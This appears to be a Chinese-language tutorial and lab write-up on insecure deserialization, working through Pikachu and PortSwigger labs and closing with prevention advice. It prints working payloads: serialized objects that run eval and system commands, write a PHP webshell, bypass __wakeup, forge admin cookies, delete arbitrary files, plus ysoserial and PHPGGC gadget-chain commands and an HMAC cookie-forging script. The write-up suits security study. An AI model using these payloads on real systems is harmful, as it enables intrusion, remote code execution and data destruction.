文章目录
不安全的反序化(Insecure deserialization)
什么是序列化?
序列化是将复杂数据结构(例如对象及其字段)转换为“更扁平”格式的过程,该格式可以作为顺序字节流发送和接收。序列化数据使以下操作变得更加简单:
- 将复杂数据写入进程间内存、文件或数据库
- 例如,通过网络、应用程序的不同组件之间或在 API 调用中发送复杂数据
不安全的反序列化漏洞是如何产生的?
通常会出现不安全的反序列化,因为人们普遍缺乏对反序列化用户可控数据的危险程度的理解。理想情况下,用户输入根本不应该被反序列化。
但是,有时网站所有者认为他们是安全的,因为他们对反序列化数据实施了某种形式的额外检查。这种方法通常是无效的,因为几乎不可能实施验证或清理来解决所有可能发生的情况。这些检查也存在根本性的缺陷,因为它们依赖于在反序列化后检查数据,在许多情况下,这对于阻止攻击来说为时已晚。
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用函数,就会导致安全问题
数据解释
PHP 使用一种人类可读的字符串格式,其中字母代表数据类型,数字代表每个条目的长度。
例如,考虑一个User具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,此对象可能如下所示:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
这可以解释如下:
- O:4:“User”- 具有 4 个字符的类名的对象"User"
- 2- 对象有 2 个属性
- s:4:“name”- 第一个属性的key是4个字符的字符串"name"
- s:6:“carlos”- 第一个属性的值是6个字符的字符串"carlos"
- s:10:“isLoggedIn”- 第二个属性的key是10个字符的字符串"isLoggedIn"
- b:1- 第二个属性的值是布尔值true
pikachu
原题
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
修改代码,增加eval
class S
{
var $test = "pikachu";
function __construct()
{
echo $this->test;
}
}
$html = '';
if (isset($_POST['o'])) {
$s = $_POST['o'];
if (!@$unser = unserialize($s)) {
$html .= "<p>大兄弟,来点劲爆点儿的!</p>";
} else {
eval("{$unser->test}");
}
}
O:1:"S":1:{s:4:"test";s:10:"phpinfo();";}
O:1:"S":1:{s:4:"test";s:19:"system('ipconfig');";}
修改代码,增加__wakeup() 读写文件
class S
{
var $test = "pikachu";
function __wakeup()
{
$fp = fopen("test.php", 'w');
fwrite($fp, $this->test);
fclose($fp);
}
}
$html = '';
if (isset($_POST['o'])) {
$s = $_POST['o'];
if (!@$unser = unserialize($s)) {
$html .= "<p>大兄弟,来点劲爆点儿的!</p>";
} else {
require "test.php";
}
}
O:1:"S":1:{s:4:"test";s:18:"<?php phpinfo();?>";}
O:1:"S":1:{s:4:"test";s:27:"<?php @eval($_POST['1']);?>";}
修改代码,增加__wakeup()绕过
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
class S
{
var $test = "pikachu";
function __destruct()
{
$fp = fopen("1.php", "w");
fputs($fp, $this->test);
fclose($fp);
}
function __wakeup() // 清空生成的文件
{
foreach (get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$html = '';
if (isset($_POST['o'])) {
$s = $_POST['o'];
if (!unserialize($s)) {
$html .= "<p>大兄弟,来点劲爆点儿的!</p>";
} else {
$html .= "<p>解析成功</p>";
}
}
每次反序列化是都会调用__wakeup从而把$test值生成的1.php文件 清空
如果我们把传入的序列化字符串的属性个数更改成大于1的任何数,
__wakeup没有被执行,但是执行了析构函数
O:1:"S":1:{s:4:"test";s:27:"<?php @eval($_POST['1']);?>";}
O:1:"S":2:{s:4:"test";s:27:"<?php @eval($_POST['1']);?>";}
可观察到使用2是虽然解析未成功,但成功写入1.php文件
PostSwigger
修改序列化对象
URL 和 Base64 编码的 cookie 实际上是一个序列化的 PHP 对象
admin属性的值更改为b:1 就获得了管理权限
修改序列化数据类型
URL 和 Base64 编码的 cookie 实际上是一个序列化的 PHP 对象
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ij3k3x67mh6c0mpjh9bquzqibcaylv3u";}
编辑会话 cookie 中的序列化对象以访问该administrator帐户
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
这里利用 PHP 比较不同类型数据的方式的一个怪癖
PHP 会根据初始数字有效地将整个字符串转换为整数值。字符串的其余部分被完全忽略。因此
5 == “5 of something” 在实践中被视为5 == 5
当比较字符串整数时,这变得更加奇怪0:
0 == “Example string” --> true
so->只要存储的access_token不以数字开头,条件 i:0 (i为整型属性)就会始终返回true
使用应用程序功能来利用不安全的反序列化
URL 和 Base64 编码的 cookie 实际上是一个序列化的 PHP 对象
对序列化对象中提供的数据调用危险方法 删除帐户时,其中包含头像的文件路径。
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"za0jiav355239bdy23yz50mlioq49xfc";s:11:"avatar_link";s:19:"users/wiener/avatar";}
修改avatar_link可以删除任意路径文件
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"za0jiav355239bdy23yz50mlioq49xfc";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
s:11:"avatar_link";s:23:"/home/carlos/morale.txt"
PHP中的任意对象注入
CustomTemplate.php 存在备份文件
在文件名后附加波浪号 (~)来检索编辑器生成的备份文件来读取源代码。
<?php
class CustomTemplate {
private $template_file_path;
private $lock_file_path;
public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}
private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}
public function getTemplate() {
return file_get_contents($this->template_file_path);
}
public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}
?>
URL 和 Base64 编码的 cookie 实际上是一个序列化的 PHP 对象
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"kkwbytdnjmnn6udu6b0mcijge5wzkw2z";}
在源代码中,CustomTemplate该类包含__destruct()魔术方法。这将调用属性unlink()上的方法lock_file_path,这将删除此路径上的文件。
对序列化的 PHP 数据使用正确的语法来创建一个CustomTemplate属性删除 Carlos 的文件
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
使用 Apache Commons 利用 Java 反序列化
本实验使用基于序列化的会话机制并加载 Apache Commons Collections 库
ysoserial
https://github.com/angelwhu/ysoserial
cookie 解码
java -jar ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' |base64
base64编码前
替换会话 cookie 后就执行了相关命令
使用预构建的小工具链利用 PHP 反序列化
PHPGGC
https://github.com/ambionics/phpggc
搜索与使用 …
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt
O:47:"Symfony\Component\Cache\Adapter\TagAwareAdapter":2:{s:57:"Symfony\Component\Cache\Adapter\TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony\Component\Cache\CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony\Component\Cache\Adapter\TagAwareAdapterpool";O:44:"Symfony\Component\Cache\Adapter\ProxyAdapter":2:{s:54:"Symfony\Component\Cache\Adapter\ProxyAdapterpoolHash";i:1;s:58:"Symfony\Component\Cache\Adapter\ProxyAdaptersetInnerItem";s:4:"exec";}}
cookie 的基于序列化的会话机制
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJkMGsya3RubG9hbDl5YmNuZ2hudmc4djZwN2EycDV3dCI7fQ==","sig_hmac_sha1":"78b52087989e7d5f5d2a45ae0611cbab08289d40"}
token base64解码
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"d0k2ktnloal9ybcnghnvg8v6p7a2p5wt";}
尝试发送带有修改过的 cookie 的请求,则会引发异常
错误消息显示该网站正在使用 Symfony 4.3.6 框架
源码中暴露了调试文件的位置/cgi-bin/phpinfo.php
SECRET_KEY kmii9fjty5sv4wcnuh1vemxyyq1i5cdp
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' | base64
<?php
$object = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg";
$secretKey = "kmii9fjty5sv4wcnuh1vemxyyq1i5cdp";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;
会话 cookie 替换为刚刚创建的恶意 cookie
如何防止不安全的反序列化漏洞
一般来说,除非绝对必要,否则应避免对用户输入进行反序列化在许多情况下,它可能实现的高严重性漏洞利用以及防御漏洞利用的难度超过了收益。
如果您确实需要对来自不受信任来源的数据进行反序列化,请采用可靠的措施以确保数据未被篡改。例如,您可以实施数字签名来检查数据的完整性。但是,请记住,必须在开始反序列化过程之前进行任何检查。否则,它们几乎没有用处。
如果可能,您应该完全避免使用通用反序列化功能。这些方法的序列化数据包含原始对象的所有属性,包括可能包含敏感信息的私有字段。相反,您可以创建自己的特定于类的序列化方法,以便您至少可以控制公开哪些字段。
最后,请记住,漏洞是用户输入的反序列化,而不是随后处理数据的小工具链的存在。